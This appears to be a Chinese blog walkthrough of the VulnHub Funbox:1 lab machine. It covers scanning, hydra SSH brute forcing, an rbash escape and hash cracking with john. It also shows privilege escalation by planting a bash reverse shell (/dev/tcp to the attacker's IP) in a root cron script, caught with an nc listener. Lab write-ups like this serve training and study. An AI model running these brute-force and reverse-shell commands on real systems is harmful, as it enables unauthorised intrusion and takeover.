vulnhub-wp-funbox1

发布时间 2023-10-12 22:22:56作者: rightevil

vulnhub靶机wp系列之funbox:1

本文结构

  • ? 信息收集(Enumeration)
    • ? 主机发现(Host Discover)
    • ? 端口扫描(Port Scan)
    • ?️ 服务探测(Service Detection)
  • ?? 获取权限(Foothold)
    • ? ssh获取shell(ssh get shell)
    • ? rbash逃逸(rbash escape)
  • ?️ 权限提升(Privilege Escalation)
  • ? 兔子洞(rabbit hole)
  • ? 推荐文章

? 信息收集(Enumeration)

? 主机发现(Host Discover)

我们使用netdiscover命令扫描kali的c段

netdiscover -r 192.168.61.0/24
  • -r 指定网段

发现目标机是192.168.61.7

? 端口扫描(Port Scan)

我们使用nmap进行一个全扫描

nmap -p- 192.168.61.7 -sV 
  • -p- 扫描全端口 (注:这会产生比较大的流量)
  • -sV 探测端口服务

得到一个ftp,ssh,http还有一个类似mysql的服务

?️ 服务探测(Service Detection)

我们先从最简单的开始,http,访问目标的80端


发现被重定向到了一个未知的url,那我们修改hosts文件把这个url绑定到目标ip,然后重新访问

然后发现目标web的cms指纹是wp,那直接上专业工具 

我们使用wpscan对目标网站进行扫描

wpscan -e vp,vt,u --url http://funbox.fritz.box/
  • -e vp,vt,u指定使用主题漏洞扫描(vt),插件漏洞扫描(vp),用户扫描(u)
  • --url 指定扫描目标

发现枚举出了俩个用户,可以去登录界面试试弱口令

?? 获取权限(Foothold)

? ssh获取shell(ssh get shell)

经过尝试,发现用户joe有弱口令12345,那我们可以联想到是否ftp和ssh也有弱口令? 直接上hydra(九头蛇)爆破试试,注:在真实渗透测试中,我们应该尽量减少暴力破解的次数,或者应当在收集到了足够的信息再去爆破

hydra -l joe -P top1000.txt -v 192.168.61.7 ssh -t 4
  • -l 指定用户名
  • -P 指定密码字典
  • -v 指定详细信息输出,将会输出爆破进度
  • ip + 服务名
  • -t 指定线程为4,在ssh爆破时,应使用hydra推荐的线程数4

接下来我们就可以使用弱口令直接ssh登录joe用户

? rbash逃逸(rbash escape)

我们可以发现,获取的是一个rbash,这个时候我们就要进行rbash逃逸。 注:这里的pspy64文件是我之前打靶的时候就已经下载了的文件

逃逸方法有很多种,我这里就用python来逃逸

python3 -c 'import pty;pty.spawn("/bin/bash")'

然后我们先看看mbox是个什么东西(一般自己家目录下都会有点东西提示) 

重点解读就是joe用户帮root用户写过一个脚本,还有joe用户将密码设成了12345

?️ 权限提升(Privilege Escalation)

然后我们就是找这个脚本,后经过一番寻找,我们最终在funny的家目录下发现了backup脚本,还有一个网站的打包文件

到了这,我们可以猜测这个就是joe用户写的脚本,脚本里面的内容是对/var/www/html目录进行打包。那就很明显了,和网站备份相关的计划任务。

为了验证我们的猜想,我们用pspy工具检测一下

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
./pspy64 -d /home/funny
  • -d 指定要观察的目录 pspy(也称为"pspy64")是一个用于监视进程活动的工具,特别是在Linux环境中。它允许用户监视正在运行的进程,查看它们的活动和与文件系统的交互,以及与其他进程的通信。pspy是一个轻量级的工具,通常被用于安全审计和故障排除,也可以用于发现潜在的安全问题。

果然,是发现有一个root的计划任务和funny的计划任务,后面更是发现,root是5分钟执行一次,funny用户是2分钟执行一次

? 反弹root shell(reverse root shell)

因为我们对backup有修改权限,我们直接在backup脚本中写入反弹shell的语句

bash -i >& /dev/tcp/192.168.61.126/1234 0>&1
  • bash -i 这部分启动Bash shell,并使用-i标志表示要以交互方式运行,这意味着它可以接收用户输入并显示输出
  • >& /dev/tcp/192.168.61.126/1234 这是一个重定向操作符,将Bash的标准输出和标准错误(1和2)都重定向到指定的IP地址和端口上的网络连接。具体来说,它将输出重定向到/dev/tcp/192.168.61.126/1234。
  • 0>&1 这也是一个重定向操作符,将标准输入(0)重定向到与标准输出相同的地方,也就是之前重定向到网络连接的位置。

这个命令的作用是将Bash shell的输入和输出连接到IP地址192.168.61.126上的端口1234,这通常用于建立与另一台计算机的反向Shell连接,使远程主机可以控制和执行命令在被攻击的主机上 这是一个常见的bash反弹shell的语句,然后我们在kali开启nc监听

nc -lnvp 1234
  • -l: 这是netcat的一个选项,用于指示netcat进入监听模式,即等待传入连接。
  • -n: 这是另一个选项,用于指示netcat不要执行DNS解析,以便更快地处理连接。
  • -v: 这是一个选项,用于启用详细的输出,通常用于调试目的。
  • -p: 指定netcat监听的端口号。在这个例子中,它监听端口1234。

多次监听后也是成功拿到了root的shell

? 兔子洞(rabbit hole)

一开始我们在wpscan扫描出来的另外一个用户,admin,我们拿到joe的shell后可以去网站目录下看wp的配置文件,然后进入数据库查看用户名和密码

接着我们把这个给复制出来,用john去爆破这个hash值

john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
  • pass.txt 将要破解的hash值写入一个文本文件
  • --wordlist= 指定密码字典为kali共享目录下的rockyou字典

爆破出来后我们可以看到是iubire,拿去登录看看

成功登录后我们可以试着看能不能用wp的漏洞去getshell,但是很显然在这里应该是拿不到root权限的,最多拿一个普通shell,或者说普通shell都拿不到 具体咋样还有待后续的尝试 待续

? 推荐文章

国外大佬关于funbox:1的wp:funbox:1
rbash逃逸的方法:rbash逃逸
funbox:1靶机下载地址:下载

更多文章可前往我的博客
rightevil.github.io